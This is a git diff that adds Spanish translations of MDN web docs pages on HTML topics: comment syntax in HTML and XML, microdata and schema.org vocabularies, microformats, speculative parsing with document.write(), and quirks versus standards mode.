+ <dd>Proporciona enlaces a secciones de contenido que explican cómo usar HTML para resolver muchos problemas comunes al crear una página web: tratar con títulos, agregar imágenes o videos, enfatizar el contenido, crear un formulario básico, etc.</dd>
+</dl>
+
+<h2 id="Temas_avanzados">Temas avanzados</h2>
+
+<dl>
+ <dt class="landingPageList">{{web.link("/es/docs/Web/HTML/CORS_enabled_image", "Imagen compatible con CORS")}}</dt>
+ <dd class="landingPageList">El atributo {{HTMLAttrxRef("crossorigin", "img")}}, en combinación con un encabezado {{Glossary("CORS")}} apropiado, permite imágenes definidas por el elemento {{HTMLElement("img")}} que se cargarán desde orígenes externos y se utilizarán en un elemento {{HTMLElement("canvas")}} como si se estuvieran cargando desde el origen actual.</dd>
+ <dt class="landingPageList">{{web.link("/es/docs/Web/HTML/CORS_settings_attributes", "Atributos de configuración de CORS")}}</dt>
+ <dd class="landingPageList">Algunos elementos HTML que brindan soporte para {{web.link("/es/docs/Web/HTTP/CORS", "CORS")}}, como {{HTMLElement("img")}} o {{HTMLElement("video")}}, tienen un atributo <code>crossorigin</code> (propiedad <code>crossOrigin</code>), que te permite configurar las solicitudes CORS para los datos extraídos del elemento.</dd>
+ <dt class="landingPageList">{{web.link("/es/docs/Web/HTML/Preloading_content", "Precarga de contenido con rel='preload'")}}</dt>
+ <dd class="landingPageList">El valor de <code>preload</code> del atributo {{HTMLElement("link")}} del elemento {{HTMLAttrxRef("rel", "link")}} te permite escribir solicitudes de recuperación declarativas en tu HTML {{HTMLElement("head")}}, que especifican los recursos que tus páginas necesitarán muy pronto después de la carga, que por lo tanto deseas comenzar a precargar al principio del ciclo de vida de la carga de una página, antes de la representación principal del navegador la maquinaria entra en acción. Esto asegura que estén disponibles antes y es menos probable que bloqueen el primer procesamiento de la página, lo que lleva a mejoras de rendimiento. Este artículo proporciona una guía básica sobre cómo funciona <code>preload</code>.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Referencias">Referencias</h2>
+
+<dl>
+ <dt class="landingPageList">{{web.link("/es/docs/Web/HTML/Reference", "Referencia HTML")}}</dt>
+ <dd class="landingPageList">HTML consta de <strong>elementos</strong>, cada uno de los cuales se puede modificar por medio de algunos <strong>atributos</strong>. Los documentos HTML están conectados entre sí mediante {{web.link("/es/docs/Web/HTML/Link_types", "enlaces")}}.</dd>
+ <dt class="landingPageList">{{web.link("/es/docs/Web/HTML/Element", "Referencia del elemento HTML")}}</dt>
+ <dd class="landingPageList">Examina una lista de todos los {{Glossary("Elemento", "elementos")}} {{Glossary("HTML")}}.</dd>
+ <dt class="landingPageList">{{web.link("/es/docs/Web/HTML/Attributes", "Referencia de atributos HTML")}}</dt>
+ <dd class="landingPageList">Los elementos en HTML tienen <strong>atributos</strong>. Se trata de valores adicionales que configuran los elementos o ajustan su comportamiento de diversas formas.</dd>
+ <dt class="landingPageList">{{web.link("/es/docs/Web/HTML/Global_attributes", "Atributos globales")}}</dt>
+ <dd class="landingPageList">Los atributos globales se pueden especificar en todos los {{web.link("/es/docs/Web/HTML/Element", "elementos HTML")}}, <em>incluso aquellos no especificados en el estándar</em>. Esto significa que cualquier elemento no estándar debe permitir esos atributos, aunque esos elementos hagan que el documento no sea compatible con HTML5.</dd>
+ <dt class="landingPageList">{{web.link("/es/docs/Web/HTML/Inline_elements", "Elementos en línea")}} y {{web.link("/es/docs/Web/HTML/Block-level_elements", "Elementos a nivel de bloque")}}</dt>
+ <dd class="landingPageList">Los elementos HTML suelen ser elementos "en línea" o "a nivel de bloque". Un elemento en línea ocupa solo el espacio delimitado por las etiquetas que lo definen. Un elemento a nivel de bloque ocupa todo el espacio de su elemento padre (contenedor), creando así un "bloque".</dd>
+ <dt class="landingPageList">{{web.link("/es/docs/Web/HTML/Link_types", "Tipos de enlaces")}}</dt>
+ <dd class="landingPageList">En HTML, se pueden usar varios tipos de enlaces para establecer y definir la relación entre dos documentos. Los elementos de enlace en los que se pueden configurar tipos incluyen {{HTMLElement("a")}}, {{HTMLElement("area")}} y {{HTMLElement("link")}}.</dd>
+ <dt class="landingPageList">{{web.link("/es/docs/Web/Media/Formats", "Guía de tipos y formatos de medios en la web")}}</dt>
+ <dd class="landingPageList">Los elementos {{HTMLElement("audio")}} y {{HTMLElement("video")}} te permiten reproducir audio y video de forma nativa dentro de tu contenido sin la necesidad de soporte de software externo.</dd>
+ <dt class="landingPageList">{{web.link("/es/docs/Web/Guide/HTML/Content_categories", "Categorías de contenido HTML")}}</dt>
+ <dd class="landingPageList">HTML se compone de varios tipos de contenido, cada uno de los cuales se puede usar en ciertos contextos y no está permitido en otros. De manera similar, cada uno tiene un conjunto de otras categorías de contenido que pueden recibir y elementos que pueden o no se pueden usar en ellos. Esta es una guía para estas categorías.</dd>
+ <dt class="landingPageList">{{web.link("/es/docs/Web/HTML/Quirks_Mode_and_Standards_Mode", "Modo Quirks y modo estándar")}}</dt>
+ <dd class="landingPageList">Información histórica sobre el modo peculiar («<em>Quirks</em>» en inglés) y el modo estándar.</dd>
+</dl>
+
+<h2 class="landingPageList" id="Temas_relacionados">Temas relacionados</h2>
+
+<dl>
+ <dt>{{web.link("/es/docs/Web/HTML/Applying_color", "Aplicación de color a elementos HTML mediante CSS")}}</dt>
+ <dd>Este artículo cubre la mayoría de las formas en que usas CSS para agregar color al contenido HTML, enumerando qué partes de los documentos HTML se pueden colorear y qué propiedades CSS usar al hacerlo. Incluye ejemplos, enlaces a herramientas de creación de paletas de colores y más.</dd>
+</dl>
+</div>
+</div>
+<span class="alllinks">{{web.link("/es/docs/tag/HTML", "Ver todo...")}}</span></section>
diff --git a/files/es/web/html/la_importancia_de_comentar_correctamente/index.html b/files/es/web/html/la_importancia_de_comentar_correctamente/index.html
new file mode 100644
index 0000000000..a28f32851a
--- /dev/null
+++ b/files/es/web/html/la_importancia_de_comentar_correctamente/index.html
@@ -0,0 +1,65 @@
+---
+title: La importancia de comentar correctamente
+slug: Web/HTML/La_importancia_de_comentar_correctamente
+tags:
+  - HTML
+  - Todas_las_Categorías
+  - XHTML
+  - XML
+translation_of: Learn/HTML/Introduction_to_HTML/Getting_started#HTML_comments
+---
+<p> </p>
+<p><br>
+ Cuando escribimos HTML en <a class="external" href="http://www.mozilla.org/docs/web-developer/quirks/doctypes.html">modo estándar</a>, los comentarios mal formados pueden romper las páginas, causando que los contenidos del documento sean parcial o totalmente comentados. Al escribir XHTML o XML, los comentarios incorrectos darán lugar a que sus documentos no puedan ser mostrados.</p>
+<h3 id="HTML_4.01" name="HTML_4.01">HTML 4.01</h3>
+<p>
+ <i>
+  De la <a class="external" href="http://html.conclase.net/w3c/html401-es/intro/sgmltut.html#h-3.2.4">Recomendación del W3C HTML 4.01 Sección 3.2.4 - Comentarios</a>:</i>
+</p>
+<blockquote>
+ No se permite espacio en blanco entre el delimitador de apertura de declaración de etiqueta ("&lt;!") y el delimitador de apertura de comentario ("--"), pero sí se permite entre el delimitador de cierre de comentario ("--" y el delimitador de cierre de declaración de etiqueta ("&gt;"). Un error común es incluir una cadena de guiones ("---") dentro de un comentario. Los autores deberían evitar *poner dos o más guiones adyacentes dentro de un comentario.</blockquote>
+<h4 id="Ejemplos" name="Ejemplos">Ejemplos</h4>
+<p>Los siguientes son comentarios válidos en HTML.</p>
+<pre class="eval">&lt;!-- comentario html válido --&gt;
+&lt;!-- comentario html válido -- &gt;
+</pre>
+<p>El siguiente no es un comentario válido en HTML.</p>
+<pre class="eval">&lt;!-- comentario html -- no válido --&gt;
+</pre>
+<h3 id="XML" name="XML">XML</h3>
+<p>
+ <i>
+  De la <a class="external" href="http://www.sidar.org/recur/desdi/traduc/es/xml/xml1/index.html#sec-comments">Recomendación del W3C XML 1.0 Sección 2.5 - Comentarios</a>:</i>
+</p>
+<blockquote>
+ {{ mediawiki.external('Definición: Los comentarios pueden aparecer en cualquier lugar de un documento fuera de otras marcas; Adicionalmente pueden aparecer en lugares permitidos por la gramática. No son parte de los datos de caracter de un documento; un procesador de XML puede, pero no tiene que, hacer posible que la aplicación recupere el texto de comentarios.') }} Por compatibilidad, la cadena "--" (doble guión) no debe ocurrir dentro de comentarios.
+ <pre>[15] Comment ::= '&lt;!--' ((Char - '-') | ('-' (Char - '-')))* '--&gt;'
+</pre>
+</blockquote>
+<p>Según lo descrito en la gramática de XML sobre comentarios, un comentario tiene la siguiente forma:</p>
+<pre class="eval">&lt;!-- cualquier letra o signo, menos guiones seguidos --&gt;
+</pre>
+<h4 id="Ejemplos_2" name="Ejemplos_2">Ejemplos</h4>
+<p>El siguiente es un comentario válido en XML y XHTML.</p>
+<pre class="eval">&lt;!-- comentario xml/xhtml válido --&gt;
+</pre>
+<p>Los siguientes son comentarios no válidos en XML y XHTML.</p>
+<pre class="eval">&lt;!-- comentario xml -- no válido --&gt;
+&lt;!-- comentario xml no válido ---&gt;
+&lt;!-- comentario xml no válido -- &gt;
+</pre>
+<h3 id="Otras_lecturas" name="Otras_lecturas">Otras lecturas</h3>
+<ul>
+ <li><a class="external" href="http://html.conclase.net/w3c/html401-es/intro/sgmltut.html#h-3.2.4">Recomendación HTML 4.01: 3.2.4 - Comentarios</a></li>
+ <li><a class="external" href="http://www.sidar.org/recur/desdi/traduc/es/xml/xml1/index.html#sec-comments">Recomendación XML: 2.5 - Comentarios</a></li>
+ <li><a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=144432">Bugzilla bug 144432</a></li>
+ <li><a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=102127">Bugzilla bug 102127</a></li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+  <li>Last Updated Date: May 19th, 2003</li>
+  <li>Copyright © 2001-2003 Netscape. All rights reserved.</li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/es/web/html/microdatos/index.html b/files/es/web/html/microdatos/index.html
new file mode 100644
index 0000000000..33e73cdb0d
--- /dev/null
+++ b/files/es/web/html/microdatos/index.html
@@ -0,0 +1,207 @@
+---
+title: Microdatos
+slug: Web/HTML/Microdatos
+tags:
+  - HTML
+  - Microdatos
+  - Referencia
+  - busquedas
+translation_of: Web/HTML/Microdata
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>Los microdatos son una especificación HTML de <a href="https://developer.mozilla.org/en-US/docs/Glossary/WHATWG">WHATWG</a> que se emplea para anidar metadatos en el contenido existente de las páginas web.[1] Buscadores, arañas web y navegadores pueden extraer y procesar los microdatos a partir de una página y utilizarlos para proveer una experiencia más enriquecida para los usuarios. Los buscadores se benefician considerablemente del acceso directo a estos datos estructurados, ya que les permite entender la información contenida en las páginas y ofrecer mejores resultados a sus usuarios. Los microdatos utilizan un vocabulario de apoyo para describir tanto los elementos como conjuntos de nombre y valor y así asignar valores a sus propiedades. Los microdatos representan un intento de brindar una manera más sencilla de anotar elementos HTML con etiquetas legibles por máquinas que los métodos similares consistentes en usar RDFa y microformatos.</p>
+
+<p>El Grupo de Trabajo de HTML del W3C no pudo encontrar un editor que se encargase de la especificación y, por ende, puso término a su desarrollo en 2013 con una «nota».</p>
+
+<p>En un nivel elevado, los microdatos consisten de un grupo de conjuntos nombre-valor. Tales grupos se denominan elementos, y cada conjunto nombre-valor es una propiedad. Los elementos y las propiedades los representan elementos ordinarios.</p>
+
+<ul>
+ <li>Para crear un elemento, se utiliza el atributo <strong>itemscope </strong>(‘alcance de elemento’).</li>
+ <li>Para añadir una propiedad a un elemento, el atributo <strong>itemprop</strong> (‘propiedad de elemento’)<strong> </strong>se emplea en uno de los descendientes del elemento.</li>
+</ul>
+
+<h2 id="Vocabularios"><span class="mw-headline" id="Vocabularies">Vocabularios</span></h2>
+
+<p>Google, así como otros de los principales buscadores, admiten el vocabulario para datos estructurados de <a href="schema.org">Schema.org</a>. Este vocabulario define un conjunto estandarizado de nombres de tipos y de propiedades: por ejemplo, <a href="http://schema.org/MusicEvent">Evento musical de Schema.org</a> señala conciertos, e incluye las propiedades <em><a href="http://schema.org/startDate">startDate</a></em> (‘fecha inicial’) y <em><a href="http://schema.org/location">location</a></em> (‘ubicación’) para definir los detalles clave del acontecimiento. En este caso, <a href="http://schema.org/MusicEvent">Evento musical de Schema.org</a> es el URL usado por <em>itemtype</em> y <em>startDate</em>, y la ubicación corresponde a las <em>itemprop</em> que defina <a href="http://schema.org/MusicEvent">Evento musical de Schema.org</a>.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> para obtener más información sobre los atributos <em>itemtype</em>, véase <a href="http://schema.org/Thing">http://schema.org/Thing</a> (en inglés)</p>
+</div>
+
+<p>Los vocabularios de microdatos brindan la semántica, o el significado, de los elementos. Los programadores web pueden diseñar un vocabulario personalizado o servirse de los que existen disponibles en la web, como el ampliamente utilizado vocabulario de <a href="http://schema.org">Schema.org</a>. Schema.org ofrece una colección de vocabularios de etiquetado usados frecuentemente.</p>
+
+<p>Vocabularios usados frecuentemente:</p>
+
+<ul>
+ <li>Obras creativas: <em><a href="http://schema.org/CreativeWork">CreativeWork</a></em> (‘obra creativa’),<em> <a href="http://schema.org/Book">Book</a></em> (‘libro’), <em><a href="http://schema.org/Movie">Movie</a></em> (película),<em> <a href="http://schema.org/MusicRecording">MusicRecording</a></em> (‘grabación musical’),<em> <a href="http://schema.org/Recipe">Recipe</a></em> (‘receta’),<em> <a href="http://schema.org/TVSeries">TVSeries</a></em> (‘serie de televisión’)</li>
+ <li>Objetos distintos del texto incrustados: <em><a href="http://schema.org/AudioObject">AudioObject</a></em> (‘objeto de audio’), <em><a href="http://schema.org/ImageObject">ImageObject</a></em> (‘objeto de imagen’),<em> <a href="http://schema.org/VideoObject">VideoObject</a></em> (‘objeto de vídeo’)</li>
+ <li><em><a href="http://schema.org/Event">Event</a></em> (‘acontecimiento’)</li>
+ <li><a href="http://schema.org/docs/meddocs.html">Tipos relativos a la salud y la medicina</a>: las notas sobre los tipos relativos a la salud y la medicina se encuentran bajo <em><a href="http://schema.org/MedicalEntity">MedicalEntity</a></em> (‘entidad médica’)</li>
+ <li><em><a href="http://schema.org/Organization">Organization</a></em> (‘organización’)</li>
+ <li><em><a href="http://schema.org/Person">Person</a></em> (‘persona’)</li>
+ <li><em><a href="http://schema.org/Place">Place</a></em> (‘sitio’), <em><a href="http://schema.org/LocalBusiness">LocalBusiness</a></em> (‘negocio local’), <em><a href="http://schema.org/Restaurant">Restaurant</a></em> (‘restaurante’)</li>
+ <li><em><a href="http://schema.org/Product">Product</a></em> (‘producto’), <em><a href="http://schema.org/Offer">Offer</a></em> (‘oferta’), <em><a href="http://schema.org/AggregateOffer">AggregateOffer</a></em> (‘oferta general’)</li>
+ <li><em><a href="http://schema.org/Review">Review</a></em> (‘reseña’), <em><a href="http://schema.org/AggregateRating">AggregateRating</a></em> (‘valoración totalizada’)</li>
+ <li><em><a href="http://schema.org/Action">Action</a></em> (‘acción’)</li>
+ <li><em><a href="http://schema.org/Thing">Thing</a></em> (‘cosa’)</li>
+ <li><em><a href="http://schema.org/Intangible">Intangible</a></em></li>
+</ul>
+
+<p>Con el objeto de mejorar los resultados de las búsquedas, las empresas operarias de los principales buscadores, como Google, Microsoft y Yahoo!, dependen del vocabulario de <a href="http://schema.org/">Schema.org</a>. Para algunos propósitos específicos, es necesario diseñar un vocabulario especializado. Siempre que resulta posible, se anima a los autores a servirse de vocabularios existentes, dado que esto facilita la reutilización del contenido.</p>
+
+<h2 id="Regionalización"><span class="mw-headline" id="Localization">Regionalización</span></h2>
+
+<p><span class="mw-headline">En algunos casos, los buscadores que dan servicio a determinadas regiones pueden ofrecer ampliaciones de los microdatos específicas para tales regiones. Por ejemplo, <a href="https://www.yandex.com/">Yandex</a>, un buscador importante en Rusia, admite microformatos como <em>hCard</em> (datos de contacto de empresas), <em>hRecipe</em> (recetas de cocina), <em>hReview</em> (reseñas de mercado) y <em>hProduct</em> (datos de productos) y proporciona su propio formato para definir términos y mostrar artículos enciclopédicos. Se creó esta ampliación para solucionar problemas relativos a la transliteración entre los alfabetos cirílico y latino. Como consecuencia de la aplicación de parámetros de marcado adicionales del vocabulario de Schema, la indización de la información de sitios web en lengua rusa se hizo considerablemente más satisfactoria.</span></p>
+
+<h2 id="Atributos_globales"><span class="mw-headline" id="Global_attributes">Atributos globales</span></h2>
+
+<p><span class="mw-headline"><em><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/itemid">itemid</a></em>: el identificador unívoco y global de un elemento</span>.</p>
+
+<p><span class="mw-headline"><em><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></em>: utilizado para añadir propiedades a un elemento. Cualquier elemento </span>HTML puede contener un atributo <em>itemprop</em> definido, y tal <em>itemprop</em> consiste de un nombre y un valor.</p>
+
+<p><span class="mw-headline"><em><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/itemref">itemref</a></em>: las </span>propiedades que no desciendan de un elemento y contengan el atributo <code>itemscope</code> pueden asociarse con el elemento a través de una <em><strong>itemref</strong></em>. <em>Itemref</em> proporciona una lista de identificadores de elementos (distintos de los <code>itemid</code>s) con propiedades adicionales en otras partes del documento.</p>
+
+<p><span class="mw-headline"><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/itemscope"><em>itemscope</em></a>: </span><em>Itemscope</em> (por lo general) funciona en conjunto con <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/itemtype"><em>itemtype</em> </a>para especificar que el HTML contenido en un bloque se refiere a un término concreto. <em>itemscope</em> crea el elemento y define el alcance del <em>itemtype</em> asociado con él. <em>itemtype</em> es un URL válido de un vocabulario (como <a class="external external-icon" href="http://schema.org/">Schema.org</a>) que describe el elemento y el contexto de sus propiedades.</p>
+
+<p><span class="mw-headline"><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/itemtype"><em>itemtype</em></a>: Es</span>pecifica el URL del vocabulario que se empleará para definir <em>itemprops</em> (‘propiedades de elementos’) en la estructura de datos. Se emplea <em><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/itemscope">Itemscope</a></em> para establecer el alcance del área de funcionamiento del vocabulario establecido por <em>itemtype</em> dentro de la estructura de datos.</p>
+
+<h2 id="Ejemplo"><span class="mw-headline" id="Example">Ejemplo</span></h2>
+
+<h3 id="HTML"><span class="mw-headline">HTML</span></h3>
+
+<pre class="brush: html">&lt;div itemscope itemtype="http://schema.org/SoftwareApplication"&gt;
+  &lt;span itemprop="name"&gt;Angry Birds&lt;/span&gt; -
+
+  REQUIRES &lt;span itemprop="operatingSystem"&gt;ANDROID&lt;/span&gt;&lt;br&gt;
+  &lt;link itemprop="applicationCategory" href="http://schema.org/GameApplication"/&gt;
+
+  &lt;div itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating"&gt;
+    RATING:
+    &lt;span itemprop="ratingValue"&gt;4.6&lt;/span&gt; (
+    &lt;span itemprop="ratingCount"&gt;8864&lt;/span&gt; ratings )
+  &lt;/div&gt;
+
+  &lt;div itemprop="offers" itemscope itemtype="http://schema.org/Offer"&gt;
+    Price: $&lt;span itemprop="price"&gt;1.00&lt;/span&gt;
+    &lt;meta itemprop="priceCurrency" content="MXN" /&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Datos_estructurados">Datos estructurados</h3>
+
+<div class="VIpgJd-VgwJlc-bN97Pc">
+<div class="ibnC6b-sM5MNb">
+<div class="NbYDle">
+<div class="SmKAyb-jyrRxf IQ5j-oKdM2c" style="padding-left: 0px;">
+<div class="jyrRxf-eEDwDf l5asRc">
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="4">itemscope</td>
+   <td>itemtype</td>
+   <td colspan="2" rowspan="1"><span>SoftwareApplication (</span>http://schema.org/SoftwareApplication)</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td><span>name</span></td>
+   <td><span>Angry Birds</span></td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td><span>operatingSystem</span></td>
+   <td><span>ANDROID</span></td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td><span>applicationCategory</span></td>
+   <td><span>GameApplication (http://schema.org/GameApplication)</span></td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="3">itemscope</td>
+   <td>itemprop[itemtype]</td>
+   <td colspan="2" rowspan="1"><span>aggregateRating</span> [<span>AggregateRating</span>]</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td><span>ratingValue</span></td>
+   <td><span>4.6</span></td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td><span>ratingCount</span></td>
+   <td><span>8864</span></td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="3">itemscope</td>
+   <td>itemprop[itemtype]</td>
+   <td colspan="2" rowspan="1"><span>offers</span> [<span>Offer</span>]</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td><span>price</span></td>
+   <td><span>1.00</span></td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td><span>priceCurrency</span></td>
+   <td><span>USD</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+</div>
+</div>
+</div>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('HTML', '', '100', '', 'Web/HTML/Microdata') }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: una útil herramienta para extraer estructuras de microdatos a partir de HTML es la <a href="https://developers.google.com/structured-data/testing-tool/ Structured Data Testing Tool">Herramienta de pruebas de datos estructurados</a> de Google. Ponla a prueba en el HTML mostrado más arriba.</p>
+</div>
+
+<h2 id="Compatibilidad_con_navegadores"><span class="mw-headline"><strong>Compatibilidad con navegadores</strong></span></h2>
+
+<div class="htab"><a id="AutoCompatibilityTable" name="AutoCompatibilityTable"></a>
+
+<ul>
+ <li class="selected"><a>Escritorio</a></li>
+ <li><a>Móvil</a></li>
+</ul>
+
+<div id="compat-desktop" style="display: block;">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>
+    <p>Compatibilidad<br>
+     básica</p>
+   </td>
+   <td>No</td>
+   <td>16<br>
+    Eliminada en 49.</td>
+   <td>No</td>
+   <td>No</td>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes">Atributos globales</a></li>
+</ul>
diff --git a/files/es/web/html/microformatos/index.html b/files/es/web/html/microformatos/index.html
new file mode 100644
index 0000000000..6dd963a227
--- /dev/null
+++ b/files/es/web/html/microformatos/index.html
@@ -0,0 +1,29 @@
+---
+title: Microformatos
+slug: Web/HTML/microformatos
+translation_of: Web/HTML/microformats
+---
+<p><span class="seoSummary"><span class="p-summary"><dfn>Los <a href="http://microformats.org">Microformatos</a></dfn> (en ocasiones abreviados como  <strong>μF) </strong>son convenciones simples para incrustar semántica en HTML y para brindar rápidamente un API utilizable por los motores de búsqueda, agregadores y otras herramientas</span></span>  Estos pequeños patrones de HTML son usados para marcar entidades que varían entre fundamentales hasta información específica de un dominio, tales como personas, organizaciones, eventos y ubicaciones.</p>
+
+<p>Su formato simple busca ser útil para máquinas y también legible para humanos.</p>
+
+<p>Muchas librerías en existencia se han desarrollado para estos microformatos incluyendo pero sin limitarse a hCard y hCalendar.</p>
+
+<p>Los microformatos son soportados por la mayoría de motores de búsqueda.</p>
+
+<h2 id="Microformats_microdata_and_RDFa">Microformats, microdata and RDFa</h2>
+
+<p><strong>Microdata</strong> are a WHATWG HTML specification also used to nest metadata within existing content on web pages.<br>
+ <strong>RDFa</strong> is a W3C standard, applying RDF to web pages.<br>
+ <strong>Microformats</strong> are no standard, although hCard and hCalendar conventions are widely used.</p>
+
+<p> They all aim at adding semantics to web documents.</p>
+
+<h2 id="See_also" style="line-height: 30px; font-size: 2.14285714285714rem;">See also</h2>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Microformat")}} on Wikipedia</li>
+ <li><a href="http://www.microformats.org">Microformats official website</a></li>
+ <li><a href="http://microformats.org/wiki/search_engines">Search engines support</a> on Microformats official website</li>
+ <li><a href="https://indiewebcamp.com/microformats">IndieWebCamp</a></li>
+</ul>
diff --git a/files/es/web/html/optimizing_your_pages_for_speculative_parsing/index.html b/files/es/web/html/optimizing_your_pages_for_speculative_parsing/index.html
new file mode 100644
index 0000000000..6509450cf9
--- /dev/null
+++ b/files/es/web/html/optimizing_your_pages_for_speculative_parsing/index.html
@@ -0,0 +1,34 @@
+---
+title: Optimizar sus páginas para análisis especulativo
+slug: Web/HTML/Optimizing_your_pages_for_speculative_parsing
+tags:
+  - Avanzado
+  - Desarrollo web
+  - HTML
+  - HTML5
+translation_of: Glossary/speculative_parsing
+---
+<p><span class="seoSummary">Tradicionalmente en los navegadores el analizador de HTML corre en el hilo de ejecución principal y se queda bloqueado después de una etiqueta &lt;/script&gt; hasta que el código se haya recuperado y ejecutado. El analizador de HTML de Firefox 4 y posteriores soporta análisis especulativo fuera del hilo de ejecución principal. Este analiza anticipadamente mientras el codigo está siendo descargado y ejecutado. Como en Firefox 3.5 y 3.6, el analizador de HTML es el que inicia la carga especulativa de código, las hojas de estilos y las imagenes que va encontrando en el flujo de la página. Sin embargo en Firefox 4 y posteriores el analizador de HTML también ejecuta el algoritmo especulativo de la construcción del árbol HTML. La ventaja es que cuando lo especulado tiene exito, no hay necesidad de reanalizar la parte del archivo de entrada que ya fue analizada junto la descarga de código,  hojas de estilo y las imágenes. La desventaja es que se ha realizado un trabajo inútil cuando la especulación fracasa.</span></p>
+
+<p>Este documento le ayuda a evitar este tipo de situaciones que hacen que la especulación falle y ralentize la carga de la página.</p>
+
+<h2 id="Haciendo_cargas_especulativas_exitosas">Haciendo cargas especulativas exitosas</h2>
+
+<p>Hay solo una regla para hacer cargas especulativas exitosas en scripts enlazados, hojas de estilo e imagenes:</p>
+
+<ul>
+ <li>Si usted usa el elemento &lt;base&gt; para anular la base URI de su pagina, ponga el elemento en la parte no-escrita de el documento. No la añada via document.write() o document.createElement().</li>
+</ul>
+
+<h2 id="Evitando_perder_la_salida_del_generador_de_arbol">Evitando perder la salida del generador de arbol</h2>
+
+<p>La generación de árbol especulativo falla cuando <code>document.write()</code> cambia el estado del generador de árbol de tal manera que el estado especulativo después del tag <code>&lt;/script&gt;</code> no se mantiene cuando todo el contenido es inertado por <code>document.write()</code> ha sido analizado. Sin embargo, sólo usos inusuales de <code>document.write()</code> causa problemas. Aquí están las cosas a evitar:</p>
+
+<ul>
+ <li>No escriba árboles desbalanceados. <code>&lt;script&gt;document.write("&lt;div&gt;");&lt;/script&gt;</code> está mal. <code>&lt;script&gt;document.write("&lt;div&gt;&lt;/div&gt;");&lt;/script&gt;</code> es correcto.</li>
+ <li>No escriba un token sin finalizar. <code>&lt;script&gt;document.write("&lt;div&gt;&lt;/div");&lt;/script&gt;</code> esta mal.</li>
+ <li>No termine con un carater de retorno de carro. <code>&lt;script&gt;document.write("Hello World!\r");&lt;/script&gt;</code> está mal. <code>&lt;script&gt;document.write("Hello World!\n");&lt;/script&gt;</code> es correcto.</li>
+ <li>Note que escribiendo etiquetas balanceadas pueden causarse que se creen otras etiquetas desbalanceadas. Ej. <code>&lt;script&gt;document.write("&lt;div&gt;&lt;/div&gt;");&lt;/script&gt;</code> dentro del elemento <code>head</code> será interpretado como <code>&lt;script&gt;document.write("&lt;/head&gt;&lt;body&gt;&lt;div&gt;&lt;/div&gt;");&lt;/script&gt;</code> el cual está desbalanceado.</li>
+ <li>No formatee parte de una tabla. <code>&lt;table&gt;&lt;script&gt;document.write("&lt;tr&gt;&lt;td&gt;Hello World!&lt;/td&gt;&lt;/tr&gt;");&lt;/script&gt;&lt;/table&gt;</code> está mal. Sin embargo, <code>&lt;script&gt;document.write("</code><code>&lt;table&gt;</code><code>&lt;tr&gt;&lt;td&gt;Hello World!&lt;/td&gt;&lt;/tr&gt;</code><code>&lt;/table&gt;</code><code>");&lt;/script&gt;</code> está correcto.</li>
+ <li>HAGA: document.write dentro de otro elemento de formateo.</li>
+</ul>
diff --git a/files/es/web/html/quirks_mode_and_standards_mode/index.html b/files/es/web/html/quirks_mode_and_standards_mode/index.html
new file mode 100644
index 0000000000..47877baa4f
--- /dev/null
+++ b/files/es/web/html/quirks_mode_and_standards_mode/index.html
@@ -0,0 +1,53 @@
+---
+title: Modo Quirks y Modo Estándar
+slug: Web/HTML/Quirks_Mode_and_Standards_Mode
+tags:
+  - Desarrollo web
+  - Estándar Web
+  - Gecko
+  - Guía
+  - HTML
+  - XHTML
+translation_of: Web/HTML/Quirks_Mode_and_Standards_Mode
+---
+<p>En los viejos días de la web, las páginas eran comúnmente escritas de dos formas: Una para navegador Netscape y otra para Microsoft Internet Explorer. Cuando los estándares de la web fueron creador por W3C, los navegadores no sólo empezaron a utilizarlos, tan pronto lo hicieron romperían los más existentes sitios en la Web. Sin embargo los navegadores introdujeron dos modos para tratar los nuevos estándares que cumplan que los sitios diferentemente de los viejos legados de sitios.</p>
+
+<p>Ahora hay tres modos usados por los motores de diseño en los navegadores web: modo quirks (<em>caprichoso</em>), modo casi estándar, y modo estándar completo. En el modo quirks, el diseño emula el comportamiento no estandar de Navigator 4 e Internet Explorer 5 para Windows que es lo requerido para no romper contenido ya existente en la Web. En modo estándar completo, el comportamiento es (o debería ser) el descrito en las especificaciones HTML y CSS. En modo casi estándar, hay implementados sólo algunos ajustes (quirks) pero no todos.</p>
+
